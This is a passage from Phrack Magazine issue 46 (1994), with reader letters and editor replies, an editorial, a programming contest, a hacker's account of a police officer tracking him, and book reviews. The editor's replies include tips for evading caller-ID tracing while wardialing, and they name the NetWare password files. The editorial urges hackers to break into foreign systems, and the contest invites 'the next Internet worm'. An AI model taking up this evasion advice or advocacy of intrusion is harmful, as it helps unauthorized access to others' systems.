Cinema/Television Graduate School at the University of Southern California,
Mike directed the award winning documentary short Rhythm, which celebrates
various musical cultures.
Todd LeValley - Producer/Graphic Designer
Todd is the Producer/Director of CyberCulture: Visions From The New Edge, a
documentary that introduces the electronic underground. This project has
been warmly received at numerous "Cyber Festivals" around the country, as
well as at the Director's Guild Of America, and is currently being
distributed by FringeWare Inc. Todd's commercial experience includes being
the in-house graphic designer for Barbour/Langley Productions designing,
compositing, and producing the graphic packages for several 20th Century Fox
Television pilots and The Sci-Fi Trader for the USA Network/Sci-Fi Channel.
Todd is a graduate of the Cinema/Television program at Loyola Marymount
University.
Jeff Runyan - Cinematographer/Editor
Jeff received an MFA from the University of Southern California's Graduate
School of Cinema/Television with an emphasis in cinematography and editing.
He studied cinematography under the guidance of Woody Omens, ASC. and Earl
Rath, ASC., and editing with Edward Dmytryk. Jeff was the cinematographer on
the award wining documentary Rhythm. He has recently completed shooting and
editing a documentary on Academy Award winning Cinematographer Conrad Hall
for the ASC and has just finished directing a short film for USC
Teleproductions.
Douglas Rushkoff - Cyber Consultant/Author
Douglas is the author of the best selling Harper Collins San Francisco novel,
Cyberia. He spent two years of his life living among the key players in the
cyber universe. Douglas knows the New Edge well and is providing us with the
map to its points of interest, rest stops and travelers.
For more information, please contact:
Todd LeValley, Producer
Belief Productions
(310) 545-8138
belief@eworld.com
[Dear New Edge:
You have got to be kidding me. "Readers of Wired and Mondo 2000 will
naturally latch on to this electronic presentation of their favorite
topics?"
Aren't we awful fucking high on ourselves? Christ. Mondo & Wired
readers and writers (and stars) are themselves so fucking far removed
from the real meat of the underground, that they wouldn't
even be able to relate to it. Obviously this "documentary"
is going to be aimed at the wannabes who sit at home furiously
masturbating to "Cyborgasm" while installing FRACTINT, being very
careful not to soil their copy of "The Hacker Crackdown." Oh joy.
These guys are so fucking out of it, they sent me two letters.
One addressed to Phrack, the other to Phrack / Emmanuel Goldstein.
Maybe they think we're 2600.
CYBER-COUNT: 12 occurrences.
That's kind of low. I'm surprised your public relations people didn't
have you add in a few more cyber-this's or cyber-that's into the
blurb. Gotta keep that cyber-count high if you want to get those
digi-bucks out of those cyberians! CYBER!!!
Read my review of Cyberia guys...find a new pop-fad to
milk for cash.]
------------------------------------------------------------------------------
In less than 3 weeks, I will be leaving for Basic Training. Once out of
there, I will be working on Satellite Data Transmissions for the US
Army. I am highly excited, just waiting to see what type of computers
I will be working on. Anyways, I will be enrolled in a 32-week
accelerated technical class teaching me all about satellites, and
the computers that I will be using. Here's the kick. I'll be writing
a series of Tech Journals detailing the workings/operations of/weaknesses,
and the use of the systems. I was wondering if you would be interested
in carrying these. I've read Phrack for a long time, but it is an off
the wall subject. I'll also be playing with the military phone system,
in hopes of finding out what the ABCD tones do. (I heard from a file
that Military phones utilize them but I'm still a civilian, and am
clueless).
Thanks for keeping me informed
Kalisti!
[Sorry to hear about your impending Basic Training. I'm not big on
the military, as they would make me chop off all my hair.
About the Satellite systems: YES If you do indeed find time to write
up any files on how they work, systems involved, weaknesses, etc.
I'D LOVE TO PRINT THAT! Just make sure you don't blow your clearance.
Satellites are very cool. I'm about to buy a Ku Band disk to do some
packet radio type stuff. A bit low-tech compared to the Army, but hell,
I'm on a budget.
ABCD...they are used for prioritizing calls on AUTOVON. FTS doesn't
use them (I think), and they can only be used on certain lines.
They are:
A = priority
B = priority override
C = flash
D = flash override
For instance, if you want to make it known that this is an important
call, you hit the "a" button before dialing. It establishes a
priority-class call, which may cause a light to come on or something
as equally attention grabbing at the called party's end. Priority
calls cannot be interrupted, except by a Priority Override" etc,
with Flash Override being the highest class.
If you do these from an improper line, you will get an error message.
The one I used to get when BS'ing AUTOVON op's long ago
was "The President's use of this line is not authorized." Funny.
Let me know if any of this is still valid.]
------------------------------------------------------------------------------
Dear Phrack,
The following is a copy of a Toneloc found file my friend got. As happens
to my friend a lot the numbers aren't valid. But, you'll see he found at least
one System 75. It appears that the 75 had a tracer installed on it already.
My friend did not get a call back on it, and nothing has been done as far
as we know. But, I still wonder -- Is scanning no longer safe?
Castor [612]
56X-XXXX 22:57:34 03-Apr-94 C CONNECT 1200
Login: b
Password:
INCORRECT LOGIN
Login: c
Password:
INCORRECT LOGIN
56X-XXXX 23:04:12 03-Apr-94 C CONNECT 1200
c
Unknown command error
Ready
d
Unknown command error
Ready
e
Unknown command error
Ready
b
Unknown command error
Ready
56X-XXXX 23:49:19 03-Apr-94 C CONNECT 1200
KEYBOARD LOCKED, WAIT FOR LOGIN
[1;24r [1;1H [0J
Login: b
Password:
INCORRECT LOGIN
56X-XXXX 01:23:28 04-Apr-94 C CONNECT 1200
Login: b
Password:
INCORRECT LOGIN
Call traced to 612-XXX-XXXX.
Saving number in security log for further investigation.
[Jeez. That sure does suck.
Well, live and learn kiddoes. 1994 is not the time to be hacking
by direct dialing local numbers. It's just not all that smart.
Caller-ID has been tariffed in a lot of RBOCS. A lot of modem
manufacturers implemented caller-id features into their equipment.
Having these features in the equipment means that it won't be long
before people redesign all their login programs to make use of
these features. I would.
I've got an ISDN line. Every time I call out, the SPID (phone number)
of the B channel I'm using is broadcast. There is nothing I can do
about that. On a remote connection, almost all decent ISDN terminal
adaptors have the option to block any SPID they don't know. They won't
even answer the phone, because they receive and interpret the phone
number before any session is established.
Yeah, well, that's ISDN, but it will not take a genius to do a few
quick hacks on some linux box and we will suddenly be inundated with all
kinds of "security packages" that use modems with Caller-ID.
Yeah, I know, *67 (or whatever it is) to block the data, or
route the call through another carrier so the data won't get passed
(10288-NXX-XXXX). The data is still in the system, just not being
transmitted from the switch out to the party being called.
It amazes me how many really smart people I know have been busted
solely because they were hacking local systems and calling them
directly.
Scanning has always been a very tricky subject. Since you are paying
for a phone line, and if you have flat-rate service, you are
thereby entitled to call as many numbers as you want. The big issue
a while back was dialing sequentially (which set some telcos on a rampage
because call usage patterns looked like telemarketing machines).
The other problem is harassment. One call to an individual is a wrong
number. Two is bordering on harassment. So, doing a complete scan
and calling the carriers back through some other method would be
a fairly good idea. And always have your calls forwarded to a
non-working number so the 5,000 assholes who call-return you
during the scan won't interfere.
If you are lucky enough to live in the boonies, you are probably
still somewhat safe, but everyone else...be careful.]
------------------------------------------------------------------------------
Phrack-
I was wondering if anyone has ever done an article on breaking
Novell Network through a workstation. I've heard it can be done through
the SysAdmin computer, but is there a way to find the userlist and
passwords? Also how would I go about cleaning up after myself so as to
not leave a trace on the logs. I would appreciate a way other than screen
capture, but if anyone knows of a good boot record booting program to
do a capture of every key typed that would be great, and maybe it
could be uuencoded in the next Phrack!
Thanks again for making the best, ass kickin', a step above the
rest, brain moving, earth shaking, body shivering, fist shaking, totally
bitchin', muy excelente, awesome H/P magazine in the whole world! :)
Sincerely,
The Warden
[Thanks for the compliments...
About your question though, I'm not quite sure what you mean.
In a NetWare environment there really isn't any userlist and passwords
that you can get at. You can run the syscon utility and look at all the
usernames, but not much more. The passwords are stored in what's known
as the "bindery." These are 3 files in the sys/system directory
called NET$OBJ.SYS, NET$VAL.SYS, and NET$PROP.SYS. If you can
pull a password out of those files, I will shit in my hat and eat it.
Beyond that, yes, a key-capture program is definitely the ideal
solution for monitoring activity on a PC workstation. There is
one in this issue.]
------------------------------------------------------------------------------
Hi,
I've Been reading your magazine for a long time now, my eyes light up when
I see an advert for a UK BBS with related hacking/phreaking articles or files
on it, but when I try to ring them they are usually gone.
I've been searching for ages for BBS's in the UK with these kind of articles
on them but I've had no luck, Even postings on the USENET had little results.
I have had a few boards which are shady but they ask unusual questions about
abiding to rules/laws about hacking then they prompt with fake login and
registration schemes.
If you have some, could you possibly send or publish a list of shady UK BBS's
Id be extremely grateful
Cheers,
Steven
[Steven:
Hell, I don't even know the numbers to any "shady" bulletin boards here
in America. The only UK hacker bbs I knew of in recent years was
Unauthorised Access, but I'm sure that's the advert you are referring to.
Maybe someone else in the UK knows something decent to call over there.
Any takers? ]
------------------------------------------------------------------------------
[THE GRADY FILES]
Many of you may remember the NSA Security Manual we published last
issue. That single file generated more press and hype than I'd
seen in a long time. It was mentioned in several newspapers, it
appeared on television. It was ridiculous. The document is
available to anyone who can fill out a FIOA request.
Regardless, people went zany. At first I couldn't figure out
why everyone was so worked up, and then I caught wind of Grady
Ward. Grady had posted the document to the net (with all mention
of Phrack deleted from it) in several USENET forums alt.politics.org.nsa,
talk.politics.crypto and comp.org.eff.talk. Several readers of
Phrack were quick to jump up and point out that Grady had obtained
it from the magazine (thanks guys!) which he grudgingly admitted.
Grady got to be in the spotlight for a while as the Phrack/NSA Handbook
thread continued to grow.
In the meantime, Grady was either calling, or giving him the
benefit of the doubt, getting called by an awful lot of press.
And even more compelling is the way he'd began pronouncing my
impending federal raid on so many newsgroups.
And of course, I don't have time to read any of that USENET crap
so I'm oblivious to all of this. Then I got a message from Grady.
[GRADY WRITES]
You might want to get ready for the FBI
serving a warrant on you for information
about the NSA security employee manual
published in Phrack 45;
the NSA security people called me about 10 minutes
ago to talk about how it got on the net.
I being very cooperative, gave him
your address in Austin.
Grady
707-826-7715
[I REPLY]
Get a grip.
Nothing that was contained in that file could not
be obtained through other sources.
[GRADY REPLIES]
Just because you did nothing illegal, doesn't mean that
you won't be annoyed by the FBI. Generally they will
be very polite however.
Gripping. Now what?
[I REPLY]
Ok,
If someone actually did contact you, what was his name and number.
I will forward that to my lawyer.
[GRADY REPLIES]
I have received your mail regarding "Re: NSA"
It will be read immediately when I return.
If you are seeking more information on the
Moby lexical databases, please run
finger grady@netcom.com
for general information or help downloading
live samples and a postscript version of our
current brochure via anonymous ftp.
Thanks - Grady Ward
-------------------
He never answered my mail.
------------------------------------------------------------------------------
Dear Sir:
Please refrain from sending such material to this address in the future!
Since this address has been usubscribed from the Phrack mailing list,
it means that further mailings are undesirable.
I would also wish to remind you that maintaining lists of people's email
without consent is quite immoral and devious. How hypocritical of
you, who decry all such behavior when it is practiced by corporations
or governments.
Thank you.
robbie@mundoe.maths.mu.oz.au
[PHRACK EDITOR ABUSES POWER:
Dear Sir:
Please excuse the mailing. Have you ever heard of a mistake?
Have you ever heard of an oversight?
Is it really that much of an inconvenience for you to hit the "d" key
to remove one small piece of unwanted mail?
This being said, I would also like to invite you to go fuck yourself.
** I guess this guy does not like to get unsolicited mail **]
------------------------------------------------------------------------------
You people really piss me off! You're undermining the fun and
enjoyment of the rest of the internet users just for your juvenile
games and illegal activities. Do you realize how much better off we'd
be if you all just went away and left the Net to honest people like me?
There is no place in today's society for a bunch of maladjusted
paranoid psychotics like yourselves. Please do all of us users a favor
and go jump in a river.
Kevin Barnes
kebar@netcom.com
[ABUSE OF POWER CONTINUES...WILL ERIKB EVER STOP?
Hey Keith:
Thanks a lot for the letter!
You know, it does my heart good to hear from such kind and caring
folks like yourself. It's so fortunate for the Internet that there are
people like yourself who take it upon themselves to become martyrs for
their causes and express their ideals in such an intelligent manner.
It's fascinating to me that you can send such email sight-unseen.
Do you know who you are writing to? Do you even have the slightest
idea? What do you hope to accomplish? Do you have any idea?
This particular "maladjusted paranoid psychotic" to whom you have so
eloquently addressed is an engineer in the R&D of a Fortune 500 computer
company, and that along with outside consulting will net me about
six-figures this tax year. I've consulted for telephone companies,
governments, aerospace, financial institutions, oil companies (the list
goes on...) and quite frankly I don't do anything even remotely illegal.
In fact, one recent and quite prominent quote from me was "I only
hack for money."
Now, about the silent majority of "honest people" like yourself that you
have so self-rightously chosen to represent...
I've been using the net since the early 80's (arpa-days) initially
through a rms granted guest account on MIT-OZ. I've continued to
work with other Internet Providers to cover the asses of the so-called
"honest people" of which you include yourself.
Now, in my view, if it were not for people like us, who consistently
expose and pinpoint weaknesses in the operating systems and networking
technologies that you use for your "fun and enjoyment" and that I use
for MY JOB, you would continue to be at serious risk. But, perhaps
ignorance is truly bliss, and if so, then Keith, you are probably one of
the happiest people on this fine planet.
Now, per your request, I may just go jump in a river, as the one near
my house is quite nice, and it is almost 100 degrees here in Texas.
I only ask that you do me one small favor:
print out 500 copies of this letter, roll them up into a paper fist,
and shove them into any orifice on your person that meets your criteria
as deserving.
** I guess this guy doesn't like me...or you **
EDITORIAL ABUSE ENDS]
-----------------------------------------------------------------------------
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 2a of 28
****************************************************************************
Phrack Editorial
If you aren't from America, this editorial really isn't meant for you,
so read on with warning, or go on to the next file.
-----------------------------------------------------------------------------
Stupid hackers.
We've got to do something to clean up our image.
We truly are "America's Most Valuable Resource," as ex-CIA spook Robert
Steele has said so many times. But if we don't stop screwing over our own
countrymen, we will never be looked at as anything more than common
gutter trash. Hacking computers for the sole purpose of collecting
systems like space-age baseball cards is stupid, pointless and can only
lead to a quick trip up the river.
Obviously, no one is going to stop hacking. I've been lucky in that I've
found people willing to pay me to hack for them rather than against
them, but not everyone can score such a coup. What kind of alternative
can the rest of the community have?
Let's say that everyone was given an opportunity to hack without any
worry of prosecution with free access to a safe system to hack from,
with the only catch being that you could not hack certain systems.
Military, government, financial, commercial and university systems would
all still be fair game. Every operating system, every application, every
network type all open to your curious minds.
Would this be a good alternative? Could you follow a few simple
guidelines for the offer of virtually unlimited hacking with no worry of
governmental interference?
Where am I going with this?
Right now we are at war. You may not realize it, but we all feel the
implications of this war, because it's a war with no allies, and
enormous stakes. It's a war of economics.
The very countries that shake our hands over the conference tables of
NATO and the United Nations are picking our pockets. Whether it be the
blatant theft of American R&D by Japanese firms, or the clandestine and
governmentally-sanctioned bugging of Air France first-class seating, or
the cloak-and-dagger hacking of the SWIFT network by the German BND's
Project Rahab, America is getting fucked.
Every country on the planet is coming at us. Let's face it, we are the
leaders in everything. Period. Every important discovery in this
century has been by an American or by an American company. Certainly
other countries have better profited by our discoveries, but
nonetheless, we are the world's think-tank.
So, is it fair that we keep getting shafted by these so-called "allies?"
Is it fair that we sit idly by, like some old hound too lazy to scratch
at the ticks sucking out our life's blood by the gallon? Hell no.
Let's say that an enterprising group of computer hackers decided to
strike back. Using equipment bought legally, using network connections
obtained and paid for legally, and making sure that all usage was
tracked and paid for, this same group began a systematic attack of
foreign computers. Then, upon having gained access, gave any and all
information obtained to American corporations and the Federal
government.
What laws would be broken? Federal Computer Crime Statutes specifically
target so-called "Federal Interest Computers." (ie: banks,
telecommunications, military, etc.) Since these attacks would involve
foreign systems, those statutes would not apply. If all calls and
network connections were promptly paid for, no toll-fraud or other
communications related laws would apply.
International law is so muddled that the chances of getting extradited
by a country like France for breaking into systems in Paris from Albuquerque
is slim at best. Even more slim when factoring in that the information
gained was given to the CIA and American corporations.
Every hacking case involving international breakins has been tried and
convicted based on other crimes. Although the media may spray headlines
like "Dutch Hackers Invade Internet" or "German Hackers Raid NASA,"
those hackers were tried for breaking into systems within THEIR OWN
COUNTRIES...not somewhere else. 8lgm in England got press for hacking
world-wide, but got nailed hacking locally. Australia's Realm Hackers:
Phoenix, Electron & Nom hacked almost exclusively other countries, but
use of AT&T calling cards rather than Australian Telecom got them a charge
of defrauding the Australian government. Dutch hacker RGB got huge press
hacking a US military site and creating a "dquayle" account, but got
nailed while hacking a local university. The list goes on and on.
I asked several people about the workability of my proposal. Most
seemed to concur that it was highly unlikely that anyone would have to
fear any action by American law enforcement, or of extradition to
foreign soil to face charges there. The most likely form of retribution
would be eradication by agents of that government. (Can you say,
"Hagbard?")
Well, I'm willing to take that chance, but only after I get further
information from as many different sources as I can. I'm not looking
for anyone to condone these actions, nor to finance them. I'm only
interested in any possible legal action that may interfere with my
freedom.
I'm drafting a letter that will be sent to as many different people as
possible to gather a fully-formed opinion on the possible legal
ramifications of such an undertaking. The letter will be sent to the FBI,
SS, CIA, NSA, NRO, Joint Chiefs, National Security Council, Congress,
Armed Forces, members of local and state police forces, lawyers, professors,
security professionals, and anyone else I can think of. Their answers
will help fully form my decision, and perhaps if I pass along their
answers, will help influence other American hackers.
We must take the offensive, and attack the electronic borders of other
countries as vigorously as they attack us, if not more so. This is
indeed a war, and America must not lose.
->Erik Bloodaxe...Hacker...American.
---------------------------
Ok, so maybe that was a bit much. But any excuse to hack without fear
should be reason enough to exert a bit of Nationalism.
I'd much rather be taken out by the French in some covert operation and
go out a martyr, than catch AIDS after being raped by the Texas
Syndicate in the metal shop of some Federal Prison. Wouldn't you?
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 3 of 28
// // /\ // ====
// // //\\ // ====
==== // // \\/ ====
/\ // // \\ // /=== ====
//\\ // // // // \=\ ====
// \\/ \\ // // ===/ ====
PART I
------------------------------------------------------------------------------
!! NEW PHRACK CONTEST !!
Phrack Magazine is sponsoring a programming contest open to anyone
who wishes to enter.
Write the Next Internet Worm! Write the world's best X Windows wardialer!
Code something that makes COPS & SATAN look like high school Introduction
to Computing assignments. Make the OKI 1150 a scanning, tracking, vampire-
phone. Write an NLM! Write a TSR! Write a stupid game! It doesn't
matter what you write, or what computer it's for! It only matters that you
enter!
Win from the following prizes:
Computer Hardware & Peripherals
System Software
Complete Compiler packages
CD-ROMS
T-Shirts
Magazine Subscriptions
and MANY MORE!
STOP CRACKING PASSWORDS AND DO SOMETHING WITH YOUR LIFE!
Enter the PHRACK PROGRAMMING CONTEST!
The rules are very simple:
1) All programs must be original works. No submissions of
previously copyrighted materials or works prepared by
third parties will be judged.
2) All entries must be sent in as source code only. Any programming
language is acceptable. Programs must compile and run without
any modifications needed by the judges. If programs are specific
to certain platforms, please designate that platform. If special
hardware is needed, please specify what hardware is required.
If include libraries are needed, they should be submitted in addition
to the main program.
3) No virii accepted. An exception may be made for such programs that
are developed for operating systems other than AMIGA/Dos, System 7,
MS-DOS (or variants), or OS/2. Suitable exceptions could be, but are not
limited to, UNIX (any variant), VMS or MVS.
4) Entries may be submitted via email or magnetic media. Email should be
directed to phrack@well.com. Tapes, Diskettes or other storage
media should be sent to
Phrack Magazine
603 W. 13th #1A-278
Austin, TX 78701
5) Programs will be judged by a panel of judges based on programming skill
displayed, originality, usability, user interface, documentation,
and creativity.
6) Phrack Magazine will make no claims to the works submitted, and the
rights to the software are understood to be retained by the program
author. However, by entering, the Author thereby grants Phrack Magazine
permission to reprint the program source code in future issues.
7) All Entries must be received by 12-31-94. Prizes to be awarded by 3-1-95.
-------------------------INCLUDE THIS FORM WITH ENTRY-------------------------
Author:
Email Address:
Mailing Address:
Program Name:
Description:
Hardware & Software Platform(s) Developed For:
Special Equipment Needed (modem, ethernet cards, sound cards, etc):
Other Comments:
------------------------------------------------------------------------------
COMPUTER COP PROPHILE
FOLLOW-UP REPORT
LT. WILLIAM BAKER
JEFFERSON COUNTY POLICE
by
The Grimmace
In PHRACK 43, I wrote an article on the life and times
of a computer cop operating out of the Jefferson County Police
Department in Louisville, Kentucky. In the article, I included
a transcript of a taped interview with him that I did after
socially engineering my way through the cop-bureaucracy in his
department. At the time I thought it was a hell of an idea and a
lot of PHRACK readers probably got a good insight into how the
"other side" thinks.
However, I made the terminal mistake of underestimating
the people I was dealing with by a LONG shot and felt that I
should write a short follow-up on what has transpired since that
article was published in PHRACK 43.
A lot of the stuff in the article about Lt. Baker was
obtained by an attorney I know who has no reason to be friendly
to the cops. He helped me get copies of court transcripts which
included tons of information on Baker's training and areas of
expertise. Since the article, the attorney has refused to talk
to me and, it appears, that he's been identified as the source
of assistance in the article and all he will say to me is that
"I don't want any more trouble from that guy...forget where you
left my phone number." Interesting...no elaboration...hang up.
As I recall, the PHRACK 43 issue came out around
November 17th. On November 20th, I received a telephone call
where I was living at the home of a friend of mine from Lt.
Baker who laughingly asked me if I needed any more information
for any "future articles". I tried the "I don't know what
you're talking about" scam at which time he read to me my full
name, date of birth, social security number, employer, license
number of my car, and the serial number from a bicycle I just
purchased the day before. I figured that he'd run a credit
history on me, but when I checked, there had been no inquiries
on my accounts for a year. He told me the last 3 jobs I'd held
and where I bought my groceries and recited a list of BBSs I was
on (two of which under aliases other than The Grimmace).
This guy had a way about him that made a chill run up my
spine and never once said the first threatening or abusive thing
to me. I suppose I figured that the cops were all idiots and
that I'd never hear anything more about the article and go on to
write some more about other computer cops using the same method.
I've now decided against it.
I got the message...and the message was "You aren't the
only one who can hack out information." I'd always expected to
get the typical "cop treatment" if I ever got caught doing
anything, but I think this was worse. Hell, I never know where
the guy's gonna show up next. I've received cryptic messages on
the IRC from a variety of accounts and servers all over the
country and on various "private" BBSs and got one on my birthday
on my Internet account...it traced back to an anonymous server
somewhere in the bowels of UCLA. I don't know anyone at UCLA
and the internet account I have is an anonymous account actually
owned by another friend of mine.
I think the point I'm trying to make is that all of us
have to be aware of how the cops think in order to protect
ourselves and the things we believe in. But...shaking the
hornet's nest in order to see what comes out maybe isn't the
coolest way to investigate.
Like I wrote in my previous article, we've all gotten a
big laugh from keystone cops like Foley and Golden, but things
may be changing. Local and federal agencies are beginning to
cooperate on a regular basis and international agencies are also
beginning to join the party.
The big push to eradicate child-pornography has led to a number of
hackers being caught in the search for the "dirty old men" on the Internet.
Baker was the Kentucky cop who was singularly responsible for the bust of the
big kiddie-porn FSP site at the University of Birmingham in England back
in April and got a lot of press coverage about it. But I had personally
never considered that a cop could hack his way into a password-protected
FSP site. And why would he care about something happening on the other
side of the world? Hackers do it, but not cops...unless the cops are
hackers. Hmmm...theories anyone?
I don't live in Louisville anymore...not because of
Baker, but because of some other problems, but I still look over
my shoulder. It would be easier if the guy was a prick, but I'm
more paranoid of the friendly good-ole boy than the raving
lunatic breaking in our front doors with a sledge hammer. I
always thought we were safe because we knew so much more than
the people chasing us. I'm not so certain of that anymore.
So that's it. I made the mistakes of 1) probably
embarrassing a guy who I thought would never be able to touch me
and 2), drawing attention to myself. A hacker's primary
protection lies in his anonymity...those who live the high
profiles are the ones who take the falls and, although I haven't
fallen yet, I keep having the feeling that I'm standing on the
edge and that I know the guy sneaking up behind me.
From the shadows--
The Grimmace
[HsL - RAt - UQQ]
------------------------------------------------------------------------------
!! PHRACK READS !!
"Cyberia" by Douglas Rushkoff
Review by Erik Bloodaxe
Imagine a book about drugs written by someone who never inhaled.
Imagine a book about raves written by someone saw a flyer once.
Imagine a book about computers by someone who someone who thinks
a macintosh is complex.
Imagine an author trying to make a quick buck by writing about something
his publisher said was hot and would sell.
And there you have Cyberia, by Douglas Rushkoff.
I have got to hand it to this amazing huckster Rushkoff, though. By
publishing Cyberia, and simultaneously putting out "The Gen X Reader,"
(which by the way is unequaled in its insipidness), he has covered all
bases for the idiot masses to devour at the local bookseller.
Rushkoff has taken it upon himself to coin new terms such as
"Cyberia," the electronic world we live in; "Cyberians," the people
who live and play online; etc...
Like we needed more buzzwords to add to a world full of "Infobahns"
"console cowboys," and "phrackers." Pardon me while I puke.
The "interviews" with various denizens of Rushkoff's "Cyberia" come off
as fake as if I were to attempt to publish an interview with Mao Tse Tung
in the next issue of Phrack.
We've got ravers talking on and on about "E" and having deep conversations
about smart drugs and quantum physics. Let's see: in the dozens of raves
I've been to in several states the deepest conversation that popped
up was "uh, do you have any more of that acid?" and "this mix is cool."
And these conversations were from the more eloquent of the nearly all under
21 crowd that the events attracted. Far from quantum physicians.
And beyond that, its been "ecstasy" or "X" in every drug culture I've wandered
through since I walked up the bar of Maggie Mae's on Austin, Texas' 6th Street
in the early 80's with my fake id and bought a pouch of the magic elixir over
the counter from the bartender (complete with printed instructions).
NOT "E." But that's just nit-picking.
Now we have the psychedelic crowd. Listening to the "Interviews" of these
jokers reminds me of a Cheech and Chong routine involving Sergeant Stedanko.
"Some individuals who have smoked Mary Jane, or Reefer oftimes turn to
harder drugs such as LSD." That's not a quote from the book, but it may
as well be. People constantly talk about "LSD-this" and "LSD-that."
Hell, if someone walked into a room and went on about how he enjoyed his
last "LSD experience" the way these people do, you'd think they were
really really stupid, or just a cop. "Why no, we've never had any of
that acid stuff. Is it like LSD?" Please.
Then there are the DMT fruitcakes. Boys and girls, DMT isn't being sold
on the street corner in Boise. In fact, I think it would be easier for most
people to get a portable rocket launcher than DMT. Nevertheless, in every
fucking piece of tripe published about the "new psychedlicia" DMT is
splattered all over it. Just because Terrance Fucking McKenna
saw little pod people, does not mean it serves any high position
in the online community.
And Hackers? Oh fuck me gently with a chainsaw, Douglas. From Craig Neidorf's
hacker Epiphany while playing Adventure on his Atari VCS to Gail
Thackeray's tearful midnight phonecall to Rushkoff when Phiber Optik
was raided for the 3rd time. PLEASE! I'm sure Gail was up to her eyebrows
in bourbon, wearing a party hat and prank calling hackers saying "You're next,
my little pretty!" Not looking for 3rd-rate schlock journalists to whine to.
The Smart Drink Girl? The Mondo House? Gee...how Cyber. Thanks, but
no thanks.
I honestly don't know if Rushkoff really experienced any of this nonsense,
or if he actually stumbled on a few DMT crystals and smoked this
reality. Let's just say, I think Mr. Rushkoff was absent the day
his professor discussed "Creative License in Journalism" and just decided
to wing it.
Actually, maybe San Francisco really is like this. But NOWHERE else on
the planet can relate. And shit, if I wanted to read a GOOD San
Francisco book, I'd reread Armistead Maupin's "Tales of the City."
This book should have been called "Everything I Needed to Know About
Cyber-Culture I Learned in Mondo-2000."
Seriously...anyone who reads this book and finds anything remotely
close to the reality of the various scenes it weakly attempts to
cover needs to email me immediately. I have wiped my ass with
better pulp.
------------------------------------------------------------------------------
BOOK REVIEW: INFORMATION WARFARE
CHAOS ON THE ELECTRONIC SUPERHIGHWAY
By Winn Schwartau
INFORMATION WARFARE - CHAOS ON THE ELECTRONIC SUPERHIGHWAY
By Winn Schwartau. (C)opyright 1994 by the author
Thunder's Mouth Press, 632 Broadway / 7th floor / New York, NY 10012
ISBN 1-56025-080-1 - Price $22.95
Distributed by Publishers Group West, 4065 Hollis St. / Emeryville, CA 94608
(800) 788-3123
Review by Scott Davis (dfox@fennec.com)
(from tjoauc1-4 ftp: freeside.com /pub/tjoauc)
If you only buy one book this year, make sure it is INFORMATION WARFARE!
In my 10+ years of existing in cyberspace and seeing people and organizations
debate, argue and contemplate security issues, laws, personal privacy,
and solutions to all of these issues...and more, never have I seen a more
definitive publication. In INFORMATION WARFARE, Winn Schwartau simply
draws the line on the debating. The information in this book is hard-core,
factual documentation that leaves no doubt in this reader's mind that
the world is in for a long, hard ride in regards to computer security.
The United States is open to the world's electronic terrorists.
When you finish reading this book, you will find out just how open we are.
Mr. Schwartau talks about industrial espionage, hacking, viruses,
eavesdroping, code-breaking, personal privacy, HERF guns, EMP/T bombs,
magnetic weaponry, and the newest phrase of our generation...
"Binary Schizophrenia". He exposes these topics from all angles. If you
spend any amount of time in Cyberspace, this book is for you.
How much do you depend on technology?
ATM machines, credit cards, toasters, VCR's, televisions, computers,
telephones, modems...the list goes on. You use technology and computers
and don't even know it! But the point is...just how safe are you from
invasion? How safe is our country's secrets? The fact is - they are NOT
SAFE! How easy is it for someone you don't know to track your every move
on a daily basis? VERY EASY! Are you a potential victim to fraud,
breech of privacy, or general infractions against the way you carry
on your daily activities? YES! ...and you'd never guess how vulnerable
we all are!
This book will take you deep into places the government refuses to
acknowledge. You should know about INFORMATION WARFARE. Order your
copy today, or pick it up at your favorite book store. You will not
regret it.
------------------------------------------------------------------------------
_Firewalls and Internet Security: Repelling the Wily Hacker_
William R. Cheswick <ches@research.att.com>
Steven M. Bellovin <smb@research.att.com>
Addison-Wesley, ISBN 0-201-63357-4
306 + XIV = 320 pages
(Printed on recycled paper)
A-Somewhat-Less-Enthusiastic-Review
Reviewed by Herd Beast
The back of this book claims that, "_Firewalls and Internet Security_
gives you invaluable advice and practical tools for protecting your
organization's computers from the very real threat of hacker attacks."
That is true. The authors also add something from their knowledge of
these hacker attacks. The book can be roughly separated into two
parts: Firewalls, and, you guessed it: Internet Security. That is
how I see it. The book itself is divided into four parts (Getting
Started, Building Your Own Firewall, A Look Back & Odds and Ends),
three appendixes, a bibliography, a list of 42 bombs and an index.
The book starts with overall explanations and an overview of the
TCP/IP protocol. More than an overview of the actual TCP/IP protocol,
it is a review of services often used with that protocol, and the
security risks they pose. In that chapter the authors define
"bombs" -- as particularly serious security risks. Despite that fact,
and the tempting bomb list in the end, this book is not a guide for
someone with passing knowledge of Internet security who wants to learn
more explicit details about holes. It is, in the authors' words, "not
a book on how to administer a system in a secure fashion."
FIREWALLS (Including the TCP/IP overview: pages 19-131)
What is a firewall and how is it built?(*) If you don't know that,
then definitely get this book. The Firewalls chapter is excellent
even for someone with a passing knowledge of firewalls or general
knowledge of what they set out to accomplish. You might still
learn more.
In the Firewalls chapter, the authors explain the firewall philosophy
and types of firewalls. Packet-filtering gateways rely on rule-based
packet filtering to protect the gateway from various types of attacks.
You can filter everything and achieve the same effect of disconnecting
from the Internet, you can filter everything from misbehaving sites,
you can allow only mail in, and so on. An application-level gateway
relies on the applications set on the firewall. Rather then let a
router filter traffic based on rules, one can strip a machine clean
and only run desired services -- and even then, more secure versions
of those services can be run. Circuit-level gateways relay data
between the gateway and other networks. The relay programs copy
data from inside the firewall to the outside, and log their activity.
Most firewalls on the Internet are a combination of these gateways.
Next, the authors explain how to build an application-level gateway
based on the work they have done with the research.att.com gateways.
As mentioned, this chapter is indeed very good. They go over setting
up the firewall machines, router configuration for basic packet
filtering (such as not allowing Internet packets that appear to come
from inside your network). They show, using the software on the
AT&T gateway as example, the general outline of proxies and give some
useful advise. That chapter is very interesting; reading it with Bill
Cheswick's (older) paper, "The Design of a Secure Internet Gateway" makes
it even better. The examples given, like the NFS and X proxies run on the
gateway, are also interesting by themselves.
INTERNET SECURITY (pages 133-237)
Internet security is a misleading name. This part might also be
called "Everything else." Most of it is a review of hacker attacks
logged by AT&T's gateway probes, and of their experience with a hacker.
But there is also a chapter dedicated to computer crime and the law --
computer crime statutes, log files as evidence, the legalities of
monitoring intruders and letting them keep their access after finding
them, and the ethics of many actions performed on the Internet; plus
an introduction to cryptography under Secure Communication over Insecure
Networks. The later sections are good. The explanation of several
encryption methods and short reviews of applications putting them to use
(PEM, PGP and RIPEM) are clear (as clear as cryptography can get) and the
